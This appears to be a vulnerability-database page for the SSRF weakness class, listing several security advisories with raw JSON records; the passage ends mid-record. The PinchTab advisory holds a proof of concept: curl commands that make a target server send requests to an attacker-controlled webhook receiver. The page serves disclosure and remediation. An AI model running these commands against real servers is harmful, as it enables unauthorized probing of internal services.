Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4593 vulnerabilities reference this CWE, most recent first.

GHSA-XQ94-R468-QWGJ

Vulnerability from github – Published: 2026-04-17 21:58 – Updated: 2026-05-12 13:35
VLAI
Summary
OpenClaw: Browser SSRF hostname validation could be bypassed by DNS rebinding
Details

Summary

Browser SSRF hostname validation could be bypassed by DNS rebinding.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.10
  • Patched versions: >= 2026.4.10

Impact

Browser navigation policy could validate a hostname/IP resolution that differed from the address Chromium ultimately used, allowing DNS rebinding style SSRF pivots.

Technical Details

The fix tightens strict browser hostname navigation so unallowlisted hostname URLs fail closed under restrictive policy.

Fix

The issue was fixed in #64367. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • 121c452d666d4749744dc2089287d0227aae2ed3
  • PR: #64367

Release Process Note

Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
4.9 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-350",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:58:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBrowser SSRF hostname validation could be bypassed by DNS rebinding.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nBrowser navigation policy could validate a hostname/IP resolution that differed from the address Chromium ultimately used, allowing DNS rebinding style SSRF pivots.\n\n## Technical Details\n\nThe fix tightens strict browser hostname navigation so unallowlisted hostname URLs fail closed under restrictive policy.\n\n## Fix\n\nThe issue was fixed in #64367. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `121c452d666d4749744dc2089287d0227aae2ed3`\n- PR: #64367\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
  "id": "GHSA-xq94-r468-qwgj",
  "modified": "2026-05-12T13:35:04Z",
  "published": "2026-04-17T21:58:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-xq94-r468-qwgj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43582"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/64367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/121c452d666d4749744dc2089287d0227aae2ed3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-dns-rebinding-ssrf-via-hostname-validation-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Browser SSRF hostname validation could be bypassed by DNS rebinding"
}

GHSA-XQCF-VGQC-PCMG

Vulnerability from github – Published: 2022-11-25 21:30 – Updated: 2025-04-29 15:40
VLAI
Summary
Moodle blind Server-Side Request Forgery (SSRF) vulnerability in LTI provider library
Details

A blind Server-Side Request Forgery (SSRF) vulnerability was found in Moodle. This flaw exists due to insufficient validation of user-supplied input in LTI provider library. The library does not utilise Moodle's inbuilt cURL helper, which resulted in a blind SSRF risk. An attacker can send a specially crafted HTTP request and trick the application to initiate requests to arbitrary systems. This vulnerability allows a remote attacker to perform SSRF attacks.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9"
            },
            {
              "fixed": "3.9.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.11"
            },
            {
              "fixed": "3.11.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-45152"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-23T23:36:13Z",
    "nvd_published_at": "2022-11-25T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A blind Server-Side Request Forgery (SSRF) vulnerability was found in Moodle. This flaw exists due to insufficient validation of user-supplied input in LTI provider library. The library does not utilise Moodle\u0027s inbuilt cURL helper, which resulted in a blind SSRF risk. An attacker can send a specially crafted HTTP request and trick the application to initiate requests to arbitrary systems. This vulnerability allows a remote attacker to perform SSRF attacks.",
  "id": "GHSA-xqcf-vgqc-pcmg",
  "modified": "2025-04-29T15:40:14Z",
  "published": "2022-11-25T21:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45152"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2142775"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moodle/moodle"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2DHYIIAUXUBHMBEDYU7TYNZXEN2W2SA2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/74SXNGA5RIWM7QNX7H3G7SYIQLP4UUGV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NLRJB5JNKK3VVBLV3NH3RI7COEDAXSAB"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2DHYIIAUXUBHMBEDYU7TYNZXEN2W2SA2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/74SXNGA5RIWM7QNX7H3G7SYIQLP4UUGV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NLRJB5JNKK3VVBLV3NH3RI7COEDAXSAB"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=440772"
    },
    {
      "type": "WEB",
      "url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-71920"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moodle blind Server-Side Request Forgery (SSRF) vulnerability in LTI provider library"
}

GHSA-XQMM-X45G-6WF4

Vulnerability from github – Published: 2025-05-09 00:30 – Updated: 2025-05-09 00:30
VLAI
Details

Server-Side Request Forgery (SSRF) in Microsoft Power Apps allows an unauthorized attacker to disclose information over a network

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-47733"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-08T23:15:53Z",
    "severity": "CRITICAL"
  },
  "details": "Server-Side Request Forgery (SSRF) in Microsoft Power Apps allows an unauthorized attacker to disclose information over a network",
  "id": "GHSA-xqmm-x45g-6wf4",
  "modified": "2025-05-09T00:30:35Z",
  "published": "2025-05-09T00:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47733"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47733"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQMX-X37R-M33P

Vulnerability from github – Published: 2026-04-27 09:34 – Updated: 2026-04-27 09:34
VLAI
Details

A vulnerability was determined in ShadowCloneLabs GlutamateMCPServers up to e2de73280b01e5d943593dd1aa2c01c5b9112f78. Affected by this issue is some unknown functionality of the file src/puppeteer/index.ts of the component puppeteer_navigate. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-27T07:16:04Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in ShadowCloneLabs GlutamateMCPServers up to e2de73280b01e5d943593dd1aa2c01c5b9112f78. Affected by this issue is some unknown functionality of the file src/puppeteer/index.ts of the component puppeteer_navigate. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-xqmx-x37r-m33p",
  "modified": "2026-04-27T09:34:38Z",
  "published": "2026-04-27T09:34:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7094"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BruceJqs/public_exp/issues/7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShadowCloneLabs/GlutamateMCPServers/issues/8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ShadowCloneLabs/GlutamateMCPServers"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/800725"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359669"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359669/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-XQQ2-4J46-VWP7

Vulnerability from github – Published: 2026-03-24 19:32 – Updated: 2026-04-27 16:18
VLAI
Summary
PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl
Details

Summary

PinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to POST /tasks with a user-controlled callbackUrl, the v0.8.3 scheduler sends an outbound HTTP POST to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.

Because the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.

This issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.

PinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.

This was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating callbackUrl during task submission.

Details

Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (internal/scheduler/webhook.go): The vulnerable sendWebhook() implementation accepted any http or https URL and dispatched the outbound request without destination IP validation:

// internal/scheduler/webhook.go - v0.8.3
parsed, err := url.Parse(callbackURL)
if parsed.Scheme != "http" && parsed.Scheme != "https" {
    slog.Warn("webhook: unsupported scheme", ...)
    return
}

req, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))
resp, err := webhookClient.Do(req)

In v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.

Issue 2 - callbackUrl was accepted without server-side validation in v0.8.3 (internal/scheduler/task.go): The task submission schema accepted a user-controlled callbackUrl, and the v0.8.3 request validation logic did not validate it:

// internal/scheduler/task.go - v0.8.3
type SubmitRequest struct {
    AgentID     string         `json:"agentId"`
    Action      string         `json:"action"`
    CallbackURL string         `json:"callbackUrl,omitempty"`
}

func (r *SubmitRequest) Validate() error {
    if r.AgentID == "" {
        return fmt.Errorf("missing required field 'agentId'")
    }
    if r.Action == "" {
        return fmt.Errorf("missing required field 'action'")
    }
    return nil
}

This meant a user-supplied callbackUrl flowed into webhook delivery without early rejection.

Issue 3 - Redirects were followed in v0.8.3: The v0.8.3 webhook client used the default http.Client, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.

PoC

Prerequisites

  • PinchTab v0.8.3
  • scheduler.enabled: true because the scheduler is off by default
  • The attacker can submit tasks to POST /tasks
  • In token-protected deployments, this requires the master API token
  • In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself
  • An attacker-controlled HTTP listener to receive and log the outbound request

Enable scheduler if required:

curl -s -X PUT http://TARGET:9867/api/config \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"scheduler":{"enabled":true}}'

Restart PinchTab after changing config.

Execution Submit a task with an attacker-controlled callbackUrl. A valid tabId is not required because the webhook fires for terminal task states, including failure:

curl -s -X POST http://TARGET:9867/tasks \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "agentId": "poc-agent",
    "action": "navigate",
    "params": {"url": "https://example.com"},
    "callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19"
  }'

Confirm the task was accepted:

{
  "createdAt": "2026-03-18T10:02:39.847097+07:00",
  "position": 1,
  "state": "queued",
  "taskId": "tsk_2633324a"
}

Poll task state:

curl -s -H "Authorization: Bearer <token>" http://TARGET:9867/tasks/tsk_2633324a

Example result:

{
  "taskId": "tsk_2633324a",
  "state": "failed",
  "error": "tabId is required for task execution",
  "callbackUrl": "https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19",
  "completedAt": "2026-03-18T10:02:39.858043+07:00"
}

Query the attacker-controlled receiver for the inbound POST:

curl -s "https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests" \
  | python3 -m json.tool

Observation 1. The task is accepted and reaches a terminal state. 2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address. 3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery. 4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server. 5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.

Impact

  1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.
  2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.
  3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.
  4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.
  5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.

Suggested Remediation

Apply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:

  1. Resolve the hostname of callbackUrl before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.
  2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.
  3. Reject redirects or re-validate every redirect target before following it.
  4. Validate callbackUrl during task submission so unsafe targets fail early instead of only at delivery time.
  5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.

Evidence Capture

Exploit

new

Verify

web

Severity
4.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:32:21Z",
    "nvd_published_at": "2026-03-26T21:17:06Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nPinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler\u0027s webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.\n\nBecause the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.\n\nThis issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server\u0027s master API token. In PinchTab\u0027s intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.\n\nPinchTab\u0027s default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.\n\nThis was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.\n\n### Details\n**Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):**\nThe vulnerable `sendWebhook()` implementation accepted any `http` or `https` URL and dispatched the outbound request without destination IP validation:\n\n```go\n// internal/scheduler/webhook.go - v0.8.3\nparsed, err := url.Parse(callbackURL)\nif parsed.Scheme != \"http\" \u0026\u0026 parsed.Scheme != \"https\" {\n    slog.Warn(\"webhook: unsupported scheme\", ...)\n    return\n}\n\nreq, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))\nresp, err := webhookClient.Do(req)\n```\n\nIn v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.\n\n**Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):**\nThe task submission schema accepted a user-controlled `callbackUrl`, and the v0.8.3 request validation logic did not validate it:\n\n```go\n// internal/scheduler/task.go - v0.8.3\ntype SubmitRequest struct {\n    AgentID     string         `json:\"agentId\"`\n    Action      string         `json:\"action\"`\n    CallbackURL string         `json:\"callbackUrl,omitempty\"`\n}\n\nfunc (r *SubmitRequest) Validate() error {\n    if r.AgentID == \"\" {\n        return fmt.Errorf(\"missing required field \u0027agentId\u0027\")\n    }\n    if r.Action == \"\" {\n        return fmt.Errorf(\"missing required field \u0027action\u0027\")\n    }\n    return nil\n}\n```\n\nThis meant a user-supplied `callbackUrl` flowed into webhook delivery without early rejection.\n\n**Issue 3 - Redirects were followed in v0.8.3:**\nThe v0.8.3 webhook client used the default `http.Client`, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`\n- `scheduler.enabled: true` because the scheduler is off by default\n- The attacker can submit tasks to `POST /tasks`\n- In token-protected deployments, this requires the master API token\n- In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself\n- An attacker-controlled HTTP listener to receive and log the outbound request\n\nEnable scheduler if required:\n\n```bash\ncurl -s -X PUT http://TARGET:9867/api/config \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"scheduler\":{\"enabled\":true}}\u0027\n```\n\nRestart PinchTab after changing config.\n\n**Execution**\nSubmit a task with an attacker-controlled `callbackUrl`. A valid `tabId` is not required because the webhook fires for terminal task states, including failure:\n\n```bash\ncurl -s -X POST http://TARGET:9867/tasks \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"agentId\": \"poc-agent\",\n    \"action\": \"navigate\",\n    \"params\": {\"url\": \"https://example.com\"},\n    \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\"\n  }\u0027\n```\n\nConfirm the task was accepted:\n\n```json\n{\n  \"createdAt\": \"2026-03-18T10:02:39.847097+07:00\",\n  \"position\": 1,\n  \"state\": \"queued\",\n  \"taskId\": \"tsk_2633324a\"\n}\n```\n\nPoll task state:\n\n```bash\ncurl -s -H \"Authorization: Bearer \u003ctoken\u003e\" http://TARGET:9867/tasks/tsk_2633324a\n```\n\nExample result:\n\n```json\n{\n  \"taskId\": \"tsk_2633324a\",\n  \"state\": \"failed\",\n  \"error\": \"tabId is required for task execution\",\n  \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\",\n  \"completedAt\": \"2026-03-18T10:02:39.858043+07:00\"\n}\n```\n\nQuery the attacker-controlled receiver for the inbound POST:\n\n```bash\ncurl -s \"https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests\" \\\n  | python3 -m json.tool\n```\n\n**Observation**\n1. The task is accepted and reaches a terminal state.\n2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server\u0027s egress address.\n3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.\n4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.\n5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.\n\n### Impact\n1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.\n2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.\n3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.\n4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.\n5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.\n\n### Suggested Remediation\nApply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:\n\n1. Resolve the hostname of `callbackUrl` before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.\n2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.\n3. Reject redirects or re-validate every redirect target before following it.\n4. Validate `callbackUrl` during task submission so unsafe targets fail early instead of only at delivery time.\n5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.\n\n### Evidence Capture\n**Exploit**\n\n\u003cimg width=\"2864\" height=\"1387\" alt=\"new\" src=\"https://github.com/user-attachments/assets/b7b5cf31-c463-4e25-adff-fc8798f1f33b\" /\u003e\n\n**Verify**\n\n\u003cimg width=\"2866\" height=\"1474\" alt=\"web\" src=\"https://github.com/user-attachments/assets/65391b00-8df5-4c3c-8789-eb100f65b301\" /\u003e",
  "id": "GHSA-xqq2-4j46-vwp7",
  "modified": "2026-04-27T16:18:18Z",
  "published": "2026-03-24T19:32:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-xqq2-4j46-vwp7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/commit/c824574c3a05073dec2f5e9c219e22ffff8de445"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pinchtab/pinchtab"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl"
}

GHSA-XQQ4-7JQ4-8RV5

Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2023-08-02 00:30
VLAI
Details

Microsoft SharePoint Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-31948, CVE-2021-31964.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-08T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft SharePoint Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-31948, CVE-2021-31964.",
  "id": "GHSA-xqq4-7jq4-8rv5",
  "modified": "2023-08-02T00:30:33Z",
  "published": "2022-05-24T19:04:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31950"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31950"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/163080/Microsoft-SharePoint-Server-16.0.10372.20060-Server-Side-Request-Forgery.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQRP-5PXM-3QXH

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

Server-Side request forgery (SSRF) vulnerability in task management component in Synology Download Station before 3.8.15-3563 allows remote authenticated users to read arbitrary files via unspecified vectors.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-33184"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-01T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Server-Side request forgery (SSRF) vulnerability in task management component in Synology Download Station before 3.8.15-3563 allows remote authenticated users to read arbitrary files via unspecified vectors.",
  "id": "GHSA-xqrp-5pxm-3qxh",
  "modified": "2022-05-24T19:03:43Z",
  "published": "2022-05-24T19:03:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33184"
    },
    {
      "type": "WEB",
